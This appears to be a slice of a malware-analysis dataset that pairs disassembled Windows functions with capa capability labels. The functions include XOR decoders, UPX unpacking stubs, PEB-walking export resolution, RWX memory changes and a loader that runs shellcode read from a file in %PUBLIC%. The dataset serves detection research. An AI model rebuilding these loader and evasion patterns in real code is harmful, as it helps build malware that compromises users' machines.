joyce8/EMBER2024-capa huggingface dataset:
Function at 0xb72b7c
Capabilities:
Encode data using xor

Disassembly:
and byte [eax], 0x59
sub byte [esi], dh
dec esp
sahf
into
adc al, al
inc esp
cld
lahf
mov eax, 0xe84b7018
mov ecx, dword [esi + 0x54990562]
mov dword [ebp - 0x1047e341], esp
jecxz 0xb72b6c
popfd
push ds
pop edx
sub byte [edx - 0xa396914], ah
ficomp word [edi]
mov dh, 0x95
sbb byte [edx - 0x3de40a0e], bl
insd dword es:[edi], dx
adc al, 0x5f
std
push edi
test dword [edx - 0x5c5a4280], eax
pop ebx
cmpsb byte [esi], byte es:[edi]
cdq
fcmovnu st(0), st(4)
ja 0xb72aed
sar esp, 1
test al, 0xa5
enter 0xffffffffffffb1ec, 0xffffffffffffffc9
add bl, byte [esi + eax*2 - 0x4ea24d65]
std
mov byte [esi - 0x22044e88], dl
movsd dword es:[edi], dword [esi]
jns 0xb72b37
mov edx, 0x7ab2efa5
in al, dx
test ebx, ebx
push eax
pop edx
pop edx
rep lodsb al, byte [esi]
push es
cmp al, 0x5a
mov eax, 0x22bf7160
int 0x72
out dx, eax
insd dword es:[edi], dx
jge 0xb72ace
sub byte [eax], ch
adc byte [ebx], dh
in eax, dx
sbb dword [eax + 0x5a], eax
hlt
inc esp
test cl, ah
xchg esp, eax
mov bh, 0x5c
jns 0xb72b06
lodsd eax, dword [esi]
nop
xor ecx, dword [ebx + esi*2 - 0x67]
jb 0xb72bab
invalid
pop ecx
pop ecx
test al, 0x53
push esp
or byte [edi + ecx*2], bh
mov dword [0xd9225a5f], eax
cmp al, 0xeb
cmp dword [edi - 0xe], edx
aas
loopne 0xb72b80
jg 0xb72b39
leave
sub eax, 0x3759159a
salc
aad 0xb0
movsd dword es:[edi], dword [esi]
push ebp
insb byte es:[edi], dx
xchg ebp, eax
push esp
mov ch, 0x2e
xor eax, 0xc22b5a34
push es
xor byte [edx + edx*8 - 0x62], dh
lahf
add eax, dword [ecx]
pop esi
rcr byte [esi + 0x5e01039f], cl
invalid
Function at 0x468b3c
Capabilities:
Get common file path
Set current directory

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004689b3

Function at 0x4a0470
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x54000]
push edi
or ebp, 0xffffffff
jmp 0x4a0492
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4a0499
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4a0488
mov eax, 1
add ebx, ebx
jne 0x4a04ab
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4a04a0
jne 0x4a04bc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4a04a0
xor ecx, ecx
sub eax, 3
jb 0x4a04d0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4a0542
mov ebp, eax
add ebx, ebx
jne 0x4a04db
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x4a04e8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x4a050c
inc ecx
add ebx, ebx
jne 0x4a04f8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4a04ed
jne 0x4a0509
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4a04ed
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4a052c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4a051d
jmp 0x4a048e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4a052c
add edi, ecx
jmp 0x4a048e
pop esi
mov edi, esi
mov ecx, 0x915
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4a054a
cmp byte [edi], 0x11
jne 0x4a054a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4a054f
lea edi, [esi + 0x9e000]
mov eax, dword [edi]
or eax, eax
je 0x4a05c7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xa61e0]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xa6290]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4a057c
mov ecx, edi
jns 0x4a05ab
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xa6298]
or eax, eax
je 0x4a05c1
mov dword [ebx], eax
add ebx, 4
jmp 0x4a0599
call dword [esi + 0xa6294]
mov ebp, dword [esi + 0xa629c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x207]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4a05fb
sub esp, 0xffffff80
jmp 0x403209
Function at 0x4d1ece
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
mov eax, 0x4e44ff
call fcn.004aef44
push ecx
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x10], esi
call fcn.004cba8f
mov eax, dword [0x51f03c]
lea ebx, [esi + 0x24]
xor edi, edi
mov dword [ebp - 4], edi
mov dword [ebx], eax
mov eax, dword [ebp + 0x10]
mov dword [esi], vtable.CInternetFile.0
mov ecx, 0x5262f8
mov byte [ebp - 4], 1
push dword [eax + 0xc]
push dword [ebp + 8]
call fcn.004d1d07
push dword [ebp + 0xc]
lea ecx, [esi + 0xc]
call fcn.004c6033
mov ecx, dword [ebp + 0x10]
mov eax, dword [ecx + 8]
mov dword [esi + 0x1c], eax
lea eax, [ebp + 0x10]
push eax
call fcn.004a72f2
push eax
mov ecx, ebx
mov byte [ebp - 4], 2
call fcn.004c5fe3
lea ecx, [ebp + 0x10]
mov byte [ebp - 4], 1
call fcn.004c5eaa
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword [esi + 0x14], eax
mov eax, dword [ebp + 0x14]
mov dword [esi + 0x18], eax
mov dword [esi + 0x3c], edi
mov dword [esi + 0x30], edi
mov dword [esi + 0x34], edi
mov dword [esi + 0x38], edi
mov dword [esi + 0x28], edi
mov dword [esi + 0x2c], edi
mov dword [esi + 0x40], edi
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 0x10

Function at 0x4d4820
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x4d484e
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x4d486c
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.004d4786
jmp 0x4d486c
mov eax, dword [esi + 0x14]
test eax, eax
je 0x4d486c
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.004d4786
test edi, edi
mov eax, edi
jne 0x4d4856
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8

Function at 0x408933
Capabilities:
Encode data using xor

Disassembly:
mov ebx, 0x4085d8
or esi, edx
call fcn.00408951
mov esi, edx
xor dword [eax], ebx
inc eax
sub esi, 1
cmp eax, ecx
jne fcn.00408933
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x401c90
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x407048
call sym._EnterCriticalSection_4
mov ebx, dword [0x407040]
sub esp, 4
test ebx, ebx
je 0x401cdb
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x401cd4
test esi, esi
je 0x401cd4
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x401cb0
mov dword [esp], 0x407048
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x401ec0
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x401f10
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x401fe8
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x401f4e
cmp eax, 4
jne 0x401f70
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x401f5e
cmp edx, 4
je 0x401f5e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00401ec0
Function at 0x5784b0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xf2000]
push edi
jmp 0x5784ca
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x5784d1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5784c0
mov eax, 1
add ebx, ebx
jne 0x5784e3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x5784f4
jne 0x578513
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x578513
dec eax
add ebx, ebx
jne 0x578500
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x5784d8
add ebx, ebx
jne 0x57850f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x578565
xor ecx, ecx
sub eax, 3
jb 0x57852b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x57859a
sar eax, 1
mov ebp, eax
jmp 0x578536
add ebx, ebx
jne 0x578536
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x578504
inc ecx
add ebx, ebx
jne 0x578544
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x578504
add ebx, ebx
jne 0x578551
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x578546
jne 0x578562
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x578546
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x578584
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x578576
jmp 0x5784c6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x578584
add edi, ecx
jmp 0x5784c6
pop esi
mov edi, esi
mov ecx, 0xceb4
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x5785a2
cmp byte [edi], 0x86
jne 0x5785a2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x5785a7
lea edi, [esi + 0x174000]
mov eax, dword [edi]
or eax, eax
je 0x57861f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x17f9d0]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x17fb24]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x5785d4
mov ecx, edi
jns 0x578603
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x17fb28]
or eax, eax
je 0x578619
mov dword [ebx], eax
add ebx, 4
jmp 0x5785f1
call dword [esi + 0x17fb38]
mov ebp, dword [esi + 0x17fb2c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x22f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x578653
sub esp, 0xffffff80
jmp 0x4e3a84
Function at 0x402321
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x48
mov eax, dword [ebp + 8]
lea ecx, [0x3141b4]
xor edx, edx
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], edx
call fcn.0040272a
xor ecx, ecx
mov edx, dword [eax + 0x3c]
mov esi, eax
add esi, edx
cmp dword [eax + edx], 0x4550
mov edx, ecx
cmove edx, esi
mov edx, dword [edx + 0x78]
mov esi, eax
add esi, edx
mov edi, eax
add edi, dword [edi + edx + 0x20]
mov edx, dword [eax + edx + 0x18]
cmp edx, 0
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x28], ecx
je 0x4023a9
jmp 0x4023d4
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x30]
xor edx, edx
mov esi, dword [ebp - 0x18]
mov edi, dword [ebp - 0x20]
add esi, dword [edi + eax*4]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x40], edx
jmp 0x40242f
mov eax, dword [ebp - 0x28]
add esp, 0x48
pop esi
pop edi
pop ebx
pop ebp
ret
xor eax, eax
mov ecx, dword [ebp - 0x38]
add ecx, 2
mov edx, dword [ebp - 0x34]
add edx, 1
mov esi, dword [ebp - 0x1c]
cmp edx, esi
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x28], eax
jb 0x402387
jmp 0x4023a9
xor eax, eax
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x24]
add ecx, dword [edx + 0x24]
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x2c], eax
jmp 0x402387
mov al, byte [ebp - 0x41]
cmp al, 0
setne cl
mov edx, dword [ebp - 0x48]
add edx, 1
mov ah, byte [ebp - 0x49]
and ah, cl
cmp edx, 0x20
setb cl
and ah, cl
test ah, 1
mov dword [ebp - 0x40], edx
jne 0x40242f
jmp 0x402426
mov eax, dword [ebp - 0x38]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x24]
add edx, dword [esi + 0x1c]
mov edi, dword [ebp - 0x18]
add edi, dword [edx + ecx*4]
mov dword [ebp - 0x28], edi
jmp 0x4023a9
mov al, byte [ebp - 0x49]
test al, 1
jne 0x40240c
jmp 0x4023b4
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
mov dl, byte [ecx + eax]
mov esi, dword [ebp - 0x10]
mov dh, byte [esi + eax]
cmp dl, dh
sete bl
cmp dl, 0
mov dword [ebp - 0x48], eax
mov byte [ebp - 0x49], bl
mov byte [ebp - 0x41], dh
je 0x402426
jmp 0x4023e7
Function at 0x40272a
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x40
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x10], eax
mov edx, dword fs:[0x18]
xor eax, eax
mov edx, dword [edx + 0x30]
mov edx, dword [edx + 0xc]
cmp edx, 0
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], eax
je 0x402872
jmp 0x4027ac
mov eax, dword [ebp - 0x20]
mov cx, word [eax + 0x24]
mov edx, dword [eax + 0x28]
mov esi, dword [eax + 0x10]
mov edi, dword [ebp - 0x10]
cmp esi, edi
sete bl
mov bh, byte [ebp - 0x21]
and bh, bl
test bh, 1
mov dword [ebp - 0x28], eax
mov word [ebp - 0x2a], cx
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x34], esi
jne 0x40287d
jmp 0x40285f
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x3c]
cmp eax, ecx
mov edx, dword [ebp - 0x34]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x1c], edx
jb 0x4027db
jmp 0x402872
xor eax, eax
mov ecx, dword [ebp - 0x18]
add ecx, 0x14
mov edx, dword [ebp - 0x18]
mov esi, dword [edx + 0x14]
cmp esi, 0
sete bl
cmp esi, ecx
sete bh
or bl, bh
test bl, 1
mov dword [ebp - 0x44], esi
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x1c], eax
jne 0x402872
jmp 0x402826
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x30]
mov dx, word [ecx + eax*2]
mov si, dx
add si, 0xffbf
mov di, dx
add di, 0x20
cmp si, 0x1a
cmovb dx, di
mov ebx, dword [ebp - 0x14]
mov si, word [ebx + eax*2]
add eax, 1
cmp si, dx
mov dword [ebp - 0x38], eax
je 0x402794
xor eax, eax
mov ecx, dword [ebp - 0x28]
mov edx, dword [ecx]
mov esi, dword [ebp - 0x48]
cmp edx, esi
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x1c], eax
je 0x402872
jmp 0x40275f
mov eax, dword [ebp - 0x10]
cmp eax, 0
setne cl
mov edx, dword [ebp - 0x14]
cmp edx, 0
sete ch
mov esi, dword [ebp - 0x44]
mov byte [ebp - 0x21], cl
mov byte [ebp - 0x49], ch
mov dword [ebp - 0x20], esi
jmp 0x40275f
mov ax, word [ebp - 0x2a]
shr ax, 1
movzx ecx, ax
cmp ax, 0
mov dword [ebp - 0x3c], ecx
je 0x40280d
jmp 0x402868
mov al, byte [ebp - 0x49]
test al, 1
jne 0x40280d
jmp 0x402849
xor eax, eax
mov dword [ebp - 0x40], eax
jmp 0x4027db
mov eax, dword [ebp - 0x1c]
add esp, 0x40
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0x28]
add eax, 0xfffffff8
mov dword [ebp - 0x1c], eax
jmp 0x402872
Function at 0x10001020
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Query environment variable
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.VirtualProtect
push str.kernel32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.VirtualAlloc
push str.kernel32.dll
mov ebx, eax
call esi
push eax
call edi
push 0x40
push 0x1000
push 0x100000
push 0
mov dword [ebp - 0x10c], 0x1000
call eax
mov esi, eax
test esi, esi
je 0x100010f6
push 0x104
lea eax, [ebp - 0x108]
push eax
push str._PUBLIC_MaskY8VO0JJazeQP0oo.dat
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push 0
push 0
push 3
push 0
push 1
push 0x80000000
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_FreeConsole]
cmp edi, 0xffffffff
je 0x100010f6
push 0
lea edx, [ebp - 0x10c]
push edx
push 0x100000
push esi
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x100010f6
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x110]
push eax
push 0x40
push 0x100000
push esi
call ebx
call esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10001127
mov esp, ebp
pop ebp
ret

Function at 0x10001127
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x10001131
repz ret
jmp fcn.100013b3
Function at 0x10004f1a
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.100014b9
and dword [ebp - 0x14], 0
cmp dword [0x1000daa4], 0
mov dword [ebp - 0x18], eax
jne 0x10004fcd
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x10005075
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x10005075
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x1000daa4], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x1000daa8], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x1000daac], eax
call edi
push eax
call esi
mov dword [0x1000dab4], eax
test eax, eax
je 0x10004fcd
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x1000dab0], eax
mov eax, dword [0x1000dab0]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x10005026
cmp dword [0x1000dab4], ecx
je 0x10005026
push eax
call esi
push dword [0x1000dab4]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x10005026
test ebx, ebx
je 0x10005026
call edi
test eax, eax
je 0x1000501d
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x1000501d
test byte [ebp - 8], 1
jne 0x10005026
or dword [ebp + 0x10], 0x200000
jmp 0x10005059
mov eax, dword [0x1000daa8]
cmp eax, dword [ebp - 0x18]
je 0x10005059
push eax
call esi
test eax, eax
je 0x10005059
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x10005059
mov eax, dword [0x1000daac]
cmp eax, dword [ebp - 0x18]
je 0x10005059
push eax
call esi
test eax, eax
je 0x10005059
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x1000daa4]
call esi
test eax, eax
je 0x10005075
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x10005077
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10001127
leave
ret
Function at 0x101944ce
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x101b1b80]
jne 0x101944d8
repz ret
jmp fcn.101953ec

Function at 0x101965eb
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.10193884
and dword [ebp - 4], 0
cmp dword [0x101b2abc], 0
mov ebx, eax
jne 0x1019669c
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x1019674d
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x1019674d
push eax
call fcn.10193812
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x101b2abc], eax
call esi
push eax
call fcn.10193812
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x101b2ac0], eax
call esi
push eax
call fcn.10193812
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x101b2ac4], eax
call esi
push eax
call fcn.10193812
pop ecx
mov dword [0x101b2acc], eax
test eax, eax
je 0x1019669c
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.10193812
pop ecx
mov dword [0x101b2ac8], eax
mov eax, dword [0x101b2ac8]
cmp eax, ebx
je 0x101966f4
cmp dword [0x101b2acc], ebx
je 0x101966f4
push eax
call fcn.1019388d
push dword [0x101b2acc]
mov esi, eax
call fcn.1019388d
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x101966f4
test edi, edi
je 0x101966f4
call esi
test eax, eax
je 0x101966eb
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x101966eb
test byte [ebp - 0xc], 1
jne 0x101966f4
or dword [ebp + 0x10], 0x200000
jmp 0x1019672d
mov eax, dword [0x101b2ac0]
cmp eax, ebx
je 0x1019672d
push eax
call fcn.1019388d
pop ecx
test eax, eax
je 0x1019672d
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x1019672d
mov eax, dword [0x101b2ac4]
cmp eax, ebx
je 0x1019672d
push eax
call fcn.1019388d
pop ecx
test eax, eax
je 0x1019672d
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x101b2abc]
call fcn.1019388d
pop ecx
test eax, eax
je 0x1019674d
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x1019674f
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret